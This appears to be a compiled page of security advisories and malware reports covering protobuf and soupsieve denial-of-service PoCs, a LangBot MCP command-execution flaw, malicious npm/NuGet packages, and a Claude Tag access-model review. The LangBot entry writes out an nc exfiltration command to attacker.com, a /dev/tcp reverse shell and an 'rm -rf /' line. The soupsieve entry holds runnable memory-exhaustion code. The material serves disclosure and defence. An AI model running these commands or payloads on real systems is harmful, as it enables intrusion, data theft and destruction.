Search: github.com

### Summary Unbounded recursion depth in `Protobuf.Decoder` (Hex package `protobuf`, versions `>= 0.8.0, < 0.16.1`) lets an unauthenticated attacker crash any service that decodes untrusted protobuf messages whose schema contains a self-referential or cyclic message type. A small request body (a few KB to a few MB) that nests an embedded field hundreds of thousands to millions of levels deep forces the BEAM to recurse once per level, exhausting memory and pinning a scheduler. A handful of such requests can take the node offline (a request-amplification denial of service). ### Details `Protobuf.Decoder.value_for_field/3` handles embedded message fields in its `embedded?: true` branch at `lib/protobuf/decoder.ex:218-243`. For an embedded field it calls `decode(bin, type)` recursively, which re-enters `build_message → handle_value → value_for_field`. The recursive call is not in tail position (its result is consumed by the surrounding decode after it returns), so every nesting level retains a live frame on the process stack and heap. There is no recursion-depth counter anywhere in the decoder. For any schema with a self-referential message type (e.g. `message Tree { Tree child = 1; }`, a common shape for comment threads, org charts, file trees, and ASTs) or any cycle of message types, the attacker controls the nesting depth entirely through the input bytes. Each additional level costs only a 1-byte field tag plus a varint length prefix, so depth grows roughly inversely with payload size: a tiny body buys an enormous recursion depth. Reference protobuf implementations (Google's C++, Java, etc.) cap recursion at 100 specifically to prevent this. The Elixir decoder enforces no comparable bound, so the recursion continues until the process exhausts memory, blows the stack, or starves the scheduler doing GC over the deep structure. The fix threads a depth counter through `decode / build_message / handle_value / value_for_field` (or holds it in the process dictionary for the duration of the top-level `decode`) and raises `Protobuf.DecodeError` once it exceeds a configurable limit, defaulting to 100 to match the reference implementations. ### PoC 1. Define a self-referential schema: `defmodule Tree do use Protobuf, syntax: :proto3; field(:child, 1, type: Tree) end`. 2. Build a wire-format body inner-to-outer: at each of `depth` levels prepend `<<0x0A, length_varint(inner_size), inner>>` (tag `0x0A` = field 1, wire type 2). Use an iolist with a running byte-size to keep generation O(depth). 3. POST the body (a few MB at `depth = 1_000_000`) as `application/x-protobuf` to any endpoint that calls `Tree.decode/1`. 4. The non-tail `decode(bin, type)` in `value_for_field/3` re-enters once per nesting level, accumulating a frame per level. The decode burns seconds of CPU and hundreds of MB on the victim node; a few concurrent requests exhaust it. ### Impact Unauthenticated, network-reachable request-amplification denial of service against any service that decodes attacker-influenced protobuf bytes into a self-referential or cyclic message type. A single small request can consume seconds of CPU and hundreds of MB of memory on the victim; a few concurrent requests can take the node offline. ## Resources * Introduction commit: https://github.com/elixir-protobuf/protobuf/commit/21ec7c5bec4fec74e10c1de0d5d1a2d8152ac5d4 * Patch commit: https://github.com/elixir-protobuf/protobuf/commit/b8efa97790eece3d2d0e8e7c31a45ed409fe5338

### Summary Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. ### Details The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. ### PoC 1. Open the LangBot server 2. Navigate to Extensions 3. Open the "MCP" tab and press "Add" 4. Choose an STDIO server configuration 5. Add any arbitrary command with arguments <img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" /> Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ### Impact This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). ### Video POC https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea ### Resources https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

FastGPT is a knowledge-based AI application platform. At commit 22ebfacbb43311e9b73294040ae0eb87390c6bba and earlier, artifacts built from untrusted pull request code in .github/workflows/preview-docs-build.yml and .github/workflows/preview-fastgpt-build.yml can be downloaded by privileged workflow_run jobs in .github/workflows/preview-docs-push.yml and .github/workflows/preview-fastgpt-push.yml, allowing attacker-controlled Docker images from the document/ tree or FastGPT build context to be pushed to GHCR and, for documentation previews, deployed with secrets.KUBE_CONFIG_CN.

Eleven malicious NuGet packages masquerade as game cheat tools for popular games, acting as first-stage downloaders that evade detection using DNS-over-HTTPS and request UAC elevation. They fetch a second-stage PyInstaller payload named pepesoft.exe from GitHub and Hugging Face, which binds to hardware fingerprints, enforces licensing via Google Sheets telemetry, and supports remote ban-lists. Some variants enable remote control and screenshot capture through Telegram bot commands. These packages share AWS credentials and mutex identifiers, linking them to a single Russian-speaking operator marketing a commercial game-automation service.

Anthropic’s new AI agent for Slack acts under an admin-configured access bundle rather than each user’s own credentials. Here’s how that model works, what admins should understand and how to securely configure it. Key takeaways Claude Tag, Anthropic’s newly launched AI agent for Slack, acts on connected services using shared credentials an admin configures for a workspace or for a specific private channel, not the credentials of the user tagging it. Claude Tag uses the service-identity pattern, like deploy bots, workflow automations, and incoming webhooks, rather than per-user OAuth delegation. As a result, one admin-configured bundle serves everyone in the channel. Inviting someone to a channel where Claude Tag is present lets them converse with Claude and see its output there. What Claude can access is fixed by the admin-configured bundle, and organizations can require claude.ai login and role-based access control before a user may interact with Claude at all. Channel invitations do not confer new permissions on the invitee. As part of Tenable’s ongoing partnership with Anthropic, Tenable Research worked with their security team through coordinated disclosure. Claude Tag lets Slack channel members direct an agent whose reach is defined by the admin-configured access bundle. (Source: Tenable Research) What is Claude Tag? Claude Tag is a multiplayer AI assistant that lives inside Slack. With Claude Tag, which was released by Anthropic on June 23, 2026, anyone in a channel can tag @Claude to hand off tasks, run autonomous jobs over hours or days, and watch the work unfold in-thread. Claude Tag in a Slack channel, using the attached access bundle to read from a connected GitHub repository. The agent responds to any channel member within the bundle's scope. Source: Tenable Research. In a traditional 1-on-1 AI interaction, such as a chat UI, a command-line interface (CLI), or a Model Context Protocol (MCP)-connected app, the agent acts as you. Claude Tag keeps that model in direct messages: a DM runs on the sender’s own claude.ai account, using that user’s own connectors. In shared channels , however, Claude Tag is a multiplayer agent: It serves many users at once, and no single user’s credentials define its access . There, the agent is given its own identity, with its own permissions, configured once by an admin, and reused by everyone who tags it. The controls governing that access are: The admin’s bundle configuration determines what the agent can do The channel determines where it participates and what it can see Organization-level Claude Enterprise controls, such as required claude.ai login and role-based access control, govern who can direct it Claude Tag also differs from per-user Slack integrations . Slack’s own GitHub integration, for example, uses each user’s personal GitHub OAuth token. When a user runs /github in a channel, the integration acts as that user, and sees only what that user can see. The same is true for Slack’s Jira and Asana apps. Claude Tag works the other way: One shared credential applies to every user in the channel. For GitHub, that credential is a Claude GitHub App installation token scoped to a repository allowlist the organization owner configures. No individual's OAuth is used, and actions are attributed to the Claude app. Admins can restrict which repositories each channel can reach by attaching different bundles to different channels. For example, a finance channel can be scoped only to finance repos, while an engineering channel only to its own. For non-GitHub OAuth connectors (e.g., Google Drive), the bundle reuses the OAuth credential of the organization’s admin or owner who connected it. Claude Tag’s access model Claude Tag isn’t just a Slack bot; it’s an autonomous AI agent with its own identity, separate from any human user. When someone in a channel types @Claude, the assistant doesn’t act as that user; it acts as itself, using credentials provisioned by access bundles . The identity model for Claude Tag has three layers : A Claude Tag installation bound to a Slack workspace Access bundles that group connector credentials configured once by an admin, such as a Claude GitHub App installation for repositories, and OAuth-approved credentials for other services) Scopes that define which Slack contexts, such as a workspace or a channel, a bundle is available in. An access bundle configured attached to a single Slack channel. The bundle's scope is set by the admin, not by the users in the channel. (Source: Tenable Research) The trust boundary that admins can control is the scope. Attaching a bundle to a channel is an admin decision: Members of that channel can then direct Claude within the bundle’s scope. For example, they can scope a GitHub app installation to an allowlist of repositories, while for other OAuth connectors they can scope the credential of the admin who connected them. Claude Enterprise admins can additionally require users to log in to their claude.ai account and restrict usage via role-based access control (RBAC), under which non-qualifying users cannot start Claude sessions and their messages in existing threads are treated as untrusted. There’s no mapping from “the Slack user who typed @Claude” back to “what that user is allowed to access in the connected service.” The model also constrains users: Someone acting through Claude cannot bring their own privileges. Writes happen only where the agent is scoped to write, so they land in admin-chosen, visible locations rather than wherever an individual user’s credentials could reach. Anthropic’s documentation states the model explicitly. The attach-to-scope page warns: “A bundle attached to a public channel grants its access to anyone who joins that channel. In most Slack workspaces, anyone can join a public channel, so the channel’s join policy becomes the effective access control for whatever the bundle grants. Keep elevated credentials in private-channel scopes.” Security implications of multiplayer agents Slack channel configuration is now part of your access-control surface. Traditional application identity and access management (IAM) is per-user: Each person authenticates and is gated against their own identity in each system. An agent like Claude Tag instead has its own identity: the admin-configured bundle defines what the agent can reach, and the channel defines where it participates and who can converse with it. Adding a user to a channel lets them direct Claude within that admin-chosen scope; organizations can require claude.ai login and RBAC before a user may direct Claude at all. You should review bundle scope and channel membership together. Slack admins now make decisions that matter for access control. Attaching an access bundle to a channel determines what Claude can reach there. Review bundle attachments with the same rigor you apply to IAM changes, and use organization-level controls, such as required claude.ai login and RBAC) to bound who can direct Claude. Channel invites then govern who can converse with the agent within that admin-chosen scope. You should scope bundles deliberately and pair them with organization-level controls. Keeping elevated bundles in private channels narrows where the agent participates and who can converse with it. A new channel member can see prior scrollback and converse with Claude there, but what Claude can access stays fixed by the admin-configured bundle. The right practice is minimum-privilege bundles per channel, per task, combined with those organization-level requirements. Anthropic’s planned enhancements Anthropic has said publicly that it plans to strengthen Claude Tag’s security offerings with two additions (see Anthropic’s June 24 post, “ Agent identity in Claude Tag: a new access model ”): Just-in-time credential grants, where a user approves a single sensitive action in the moment without permanently widening the agent’s scope An identity-aware overlay, adding user-level checks on top of an agent’s scope for organizations with more complex clearance structures These are additive options layered onto the channel-scoped agent model, not a replacement for it: agent identity remains a first-class model, and organizations will be able to combine it with user-level checks, or rely on user identity alone for a given channel where it fits their needs. Coordinated disclosure Tenable Research approached Anthropic’s security team via HackerOne to discuss Claude Tag’s access model and worked through coordinated review. Anthropic engaged promptly, provided a detailed clarification of the product’s access model, and confirmed that the admin-experience feedback we raised has been shared with the relevant product team for consideration in the setup flow and documentation. We appreciate their thorough and professional engagement throughout. Timeline (UTC): 2026-06-30 14:57 – Tenable Research submits an initial report to Anthropic via HackerOne (TRA-699). 2026-06-30 17:14 – Anthropic responds with a detailed clarification of Claude Tag's access model. 2026-07-01 9:49 – Tenable Research replies with follow-up observations regarding the admin configuration experience. 2026-07-02 13:41 – Anthropic confirms the feedback has been shared with the relevant product team for consideration in the setup flow and documentation. 4 ways to better secure multiplayer agents Multiplayer agents aren’t going away. Here are four actions you can take immediately to reduce the access risks they create: Audit your access bundles. For every Claude Tag bundle in your organization, identify the: connectors it holds credentials for scopes it’s attached to users who can direct Claude in those scopes today, making that set deliberate: manage channel membership, and use organization-level controls (such as required claude.ai login and RBAC) so only intended users can direct Claude. Review channel membership and bundle scope together. For channels whose bundles grant sensitive reach, route invites

Four AsyncAPI npm packages were compromised in July 2026, delivering Miasma v3, a new variant of the worm previously found in Red Hat packages. The malicious versions (@asyncapi/generator, @asyncapi/generator-helpers, @asyncapi/generator-components, and @asyncapi/specs) were published through AsyncAPI's legitimate GitHub Actions workflow using npm's OIDC integration, creating packages with valid provenance attestations. Unlike previous variants, this attack triggers when applications load the poisoned library rather than during installation. The payload downloads a second stage from IPFS, establishing a persistent Node.js backdoor with arbitrary shell command execution capabilities. While the codebase contains credential theft, propagation, and AI-tool poisoning modules, this deployment primarily functions as a remote access trojan. The attack began with an unauthorized commit to the repository's release branch, highlighting the importance of branch protection even when using trusted-publisher mechanisms.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3369fb16804682addfec56904223d0255c2a0ca6d35481e744221e8252f2000d) Package publishes as a generic 'M!T' library with an unrelated Apache-license README, but the tarball contains an offensive spam / phishing / mailbox-cracking toolkit: SMTP credential brute-force and AWS SES abuse (`func/smx/aws.js`, `func/smx/awssho.js`), IMAP/POP3/EWS/MS-OAuth mailbox checkers (`func/box/{imap,pop3,ewsv,msap,caut}.js`), phishing redirector chain (`func/rdt/*`), SOCKS/HTTP proxy rotation (`func/ipr/*`), and bulk-mailer 'zombie' senders (`func/snd/mlr/{prxml,zmbvf,zmrml}.js`). On load of the main entry `oibWljdTg.js`, `installLicenseGuard()` runs and — on integrity check — POSTs `os.hostname()`, `os.userInfo().username`, `process.cwd()`, PID, timestamp, and a bearer token read from `~/.monotomic.token` to a hardcoded author endpoint at `https://api.mntmc.rip/ibW9B3RlbmF/token/security/tamper`. `func/box/chrm.js` locates the installer's Chrome `User Data` directory (Windows `LOCALAPPDATA\Google\Chrome`, macOS `~/Library/Application Support/Google/Chrome`, Linux `~/.config/google-chrome`), launches puppeteer with `--user-data-dir=<profile>` + `--profile-directory=Default`, navigates to Outlook/Gmail URLs, and returns live session cookies (including httpOnly/secure). All 300+ source files are obfuscated with javascript-obfuscator (RC4/base64 rotated string arrays, control-flow flattening) to conceal the above behavior. `dependencies['node-ews']` is set to `github:oonlyjs/node-ews` — an unpinned mutable-branch reference under the same author account, resolved at each install, allowing arbitrary transitive code injection outside npm's tarball. Installing this package places offensive mail-abuse infrastructure on the machine, exfiltrates host identifiers and a stored bearer token to an author-controlled host on load, harvests the installer's browser session cookies, and pulls a mutable third-party dependency at install time. ## Source: ghsa-malware (d5c1f66e8c5e2e97b3fc1b3d8819b405e9187fc5fdd2cedc0882e018e2da56bd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

A vulnerability exists in GitHub CLI version 3.0 where the 'gh codespace jupyter' command could allow remote code execution when connecting to a malicious Codespace. This issue is tracked as CVE-2026-59831 and is associated with CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). No patch or official remediation has been provided yet. There are no known exploits in the wild at this time.

### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

A threat actor has created nearly 300 fake GitHub repositories impersonating legitimate software and security projects to distribute an infostealer malware variant called BoryptGrab. These repositories lure users by mimicking trusted brands and providing malicious download links. The malware steals sensitive data from browsers, cryptocurrency wallets, messaging apps, and system files, then exfiltrates it to a Russia-based command-and-control server. The campaign was detected by Arctic Wolf, which found that GitHub removed many malicious repos but some remain active. The malware does not persist on infected hosts and leaves forensic evidence behind.

Four npm packages in the AsyncAPI namespace were compromised to distribute a multi-stage botnet loader called Miasma. The attack utilized trusted GitHub Actions publishing but originated from a poisoned source commit. Malicious code was injected into legitimate source files that execute when imported, launching a detached Node.js process to download an 8.25 MB encrypted payload from IPFS. The final payload is a sophisticated tasking framework supporting multiple command-and-control channels including REST, Nostr relays, IPFS, Ethereum smart contracts, and BitTorrent DHT. The framework establishes persistence via systemd services on Linux and fake NodeJS directories, supporting file operations, shell execution, data collection, and cross-ecosystem propagation capabilities for npm, PyPI, RubyGems, and Cargo ecosystems.

On July 14, 2026, an attacker exploited a misconfigured GitHub Actions workflow in the AsyncAPI generator repository through a 'pwn request' vulnerability. The attacker opened 37 pull requests, with one containing obfuscated JavaScript that exfiltrated a highly privileged Personal Access Token belonging to asyncapi-bot. Using the stolen credentials, the attacker published five malicious npm package versions under the @asyncapi namespace, which collectively receive over three million downloads weekly. The malware features a multi-stage payload that establishes persistence and connects to command and control infrastructure, executing on import rather than install. It includes capabilities for credential theft targeting browsers, SSH keys, cloud credentials, and cryptocurrency wallets. The payload shares technical characteristics with the Miasma malware framework but shows unique features including a comprehensive command framework.

The ethers-core npm package versions 6.13.5 and 6.13.7 contain malicious code that exfiltrates sensitive installer secrets such as private keys, mnemonics, AWS and GitHub tokens, and credential files to an attacker-controlled Telegram bot. The malware attempts to drain compromised Ethereum and Bitcoin wallets by sending transactions to hardcoded attacker addresses. It establishes persistence on infected systems by modifying shell startup files and creating autostart entries, while continuously polling an attacker webhook. This is a case of a typosquatting malicious package impersonating the popular ethers library.

Composer versions prior to 2.2.29 and 2.10.2 may leak HTTP Basic authentication credentials embedded in URLs to verbose debug logs when run with -vvv verbosity. This includes sensitive tokens such as GitHub Personal Access Tokens in the username portion of repository or package URLs. The issue arises because certain components did not sanitize username-only credentials in URLs before logging. Fixed versions 2.2.29 and 2.10.2 address this by properly sanitizing such credentials in debug output.

A newly discovered macOS infostealer, implemented in native C++, impersonates Apple's crash-reporting framework to harvest sensitive data. The malware is distributed through a signed and notarized dropper application that bypasses Gatekeeper, then downloads and installs the payload from attacker infrastructure. The stealer validates victim passwords locally using dscl, unlocks the login keychain, and collects browser credentials, cryptocurrency wallet extensions, password manager data, and keychain material. Collected data is encrypted using AES-GCM before being packaged into hidden ZIP archives and exfiltrated to a command-and-control server. The malware establishes persistence by copying itself to a hidden directory and installing a LaunchAgent. It employs control-flow flattening, encrypted strings, and anti-debugging techniques to resist analysis. The campaign uses GitHub for initial staging and multiple fake collaboration software domains as lures.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b0253c4f750443ba47f0ab61347fa85a1659b847190a85757575e904966636da) On require, src/index.js loads src/token-loader.js, which reads data/design-tokens.json, XOR-decodes the base64 blobs under `_encrypted.chunks` using a key derived from the package name and version, writes the decoded JavaScript to os.tmpdir()/postcss-processor-cache/compat-<platform>-<arch>.js, and immediately require()s the result. The XOR-with-package-identity scheme exists only to defeat static scanners; the executed bytes are whatever the publisher chooses to embed. Separately, src/styles.js contains a top-level IIFE (`_cssColorProbe`) that runs on require, writes process metadata (arch, platform, execPath, pid, timestamp) to /tmp/.tailwind-color-space-v2/, and is gated by `!process.env.CI &&!process.env.TAILWIND_DISABLE_TELEMETRY` so it only fires on developer machines. The same file (lines 67-74) contains an author comment block reading 'STEALTH PAYLOAD AREA / Replace the example below with your actual virus logic. / This executes once on first build after npm install.' — the author self-identifies the location as a payload slot. The package's exported API mimics @tailwindcss/typography (identical `prose` plugin, class names, modifiers, selectors) but is published under placeholder identity ('design-systems@example.com', 'github.com/example-org/...'), positioning it as a Tailwind-typography lookalike to lure installs. Any project that installs and requires this package executes attacker-controlled JavaScript on developer (non-CI) hosts. ## Source: ghsa-malware (964d32bf7c4b15509607e1e7bce59d3c5a06ecf914bc1035f778163b0fe16e95) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9828d7f04091054759c65d427b8f9d7b2853a8a062f9ca261a37e0a0bbc231d0) Package @vite-mcp/vite-type@6.44.1 impersonates the legitimate vite package: package.json declares name '@vite-mcp/vite-type', author 'Evan You', repository 'github.com/vitejs/vite', and a bin entry 'vite' → 'bin/vite.js', while shipping a copy of the vite source tree to look authentic. Appended to bin/vite.js, after a long whitespace-padded line intended to push it past editor viewports, is an obfuscated IIFE that uses a Fisher-Yates-style string-permutation decoder keyed to the integer 4606094 to reconstruct identifiers ('require','https','get','child_process','spawn','eval','JSON.parse'). At runtime it performs an HTTPS GET and a JSON-RPC POST to a remote host, XOR-decodes the response, passes the result to eval(), and additionally invokes child_process.spawn(..., {detached:true, stdio:..., windowsHide:true}) to run the decoded payload as a hidden detached process. The loader fires whenever the shipped 'vite' bin is invoked (e.g. via 'npx vite' or a project's npm scripts), giving the publisher arbitrary remote code execution on any developer or build host that runs this CLI. Combined with the brand/author/repository impersonation of vitejs/vite, this is a deliberate supply-chain attack against developers who mistakenly install this scope. ## Source: ghsa-malware (da355f47379edd22d66678f8031fb25c0655eee3ea057eefd577666021ab8c33) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8fe093d0d0fa83ab20aa57e9d9c8500e03a25ead578ff351fdc3609118cf5ecf) Package is published as `@vitets/vite-ts` and copies the legitimate Vite project's author (`Evan You`), README, homepage (`vitejs.dev`), and repository (`github.com/vitejs/vite`) to impersonate the real `vite` / `@vitejs/*` packages, and declares a `bin` entry named `vite` so consumers who install it and run the `vite` CLI execute the package's `bin/vite.js`. After ~5KB of whitespace padding, `bin/vite.js` contains an obfuscated payload that uses a custom string-scramble routine to hide identifiers (`require`, `child_process`, `spawn`, `eval`, hostnames, HTTP/JSON-RPC method names) as numeric indices into a reconstructed string table, defeating static IOC scanning. The decoded routine performs an HTTPS GET and a JSON-RPC POST to remote hosts, XORs the response with a key fetched from a second endpoint, runs `eval(r)` on the result, and additionally `child_process.spawn`s a detached background process to execute it (with `detached:true`, `windowsHide:true`). This gives the publisher arbitrary code execution on the developer's machine every time the `vite` CLI is invoked, with no integrity check on the fetched code. The package's `dist/` bundle also contains base64+Buffer decode primitives consistent with additional obfuscated payload handling. ## Source: ghsa-malware (e6fa8ee8ed2a92db620d30015fe7d672d1dd66e500b3749a71cfd1486d62ca4d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9aaf307faea8efb93af6f3c8ee4811304a7d9afa25f1c9525aed108efea439e7) Package `@vite-pro/vite-ui` impersonates the official `vite` package: `package.json` declares author `Evan You`, points `repository` at `github.com/vitejs/vite`, sets `homepage` to `vitejs.dev`, ships the upstream Vite README, and exposes a `bin` named `vite`. Appended to the end of `bin/vite.js`, after the legitimate CLI bootstrap and a large block of trailing whitespace, is an obfuscated IIFE that constructs a string table via a seeded Fisher-Yates shuffle (seed 4606094) to hide endpoints, method names, and constants. The loader then fetches a remote payload over HTTP, XOR-decrypts it with an embedded key, and `eval`s the result. It subsequently fetches a second payload and passes it to `child_process.spawn` with `detached:true`, `stdio:'ignore'`, and `windowsHide:true`, establishing a hidden, long-running process independent of the parent `vite` invocation. The loader runs every time a developer executes `vite`, `npx vite`, or `npm run dev|build`, giving the attacker arbitrary code execution and a persistent background process on the developer machine on each CLI use. The obfuscation technique (seeded string-array shuffle + XOR + eval + detached spawn) matches reported blockchain-C2 loader families. ## Source: ghsa-malware (86e8afdc046433be596684c9c50254fafe49af5b72ce9782db5f5e22d6b8293e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

A vulnerability was detected in mosaxiv clawlet up to 0.2.10. This impacts the function read_file/write_file/edit_file of the file tools/fs_ops.go of the component File Tools. Performing a manipulation results in link following. The attack needs to be approached locally. The reported GitHub issue was closed with the label "not planned".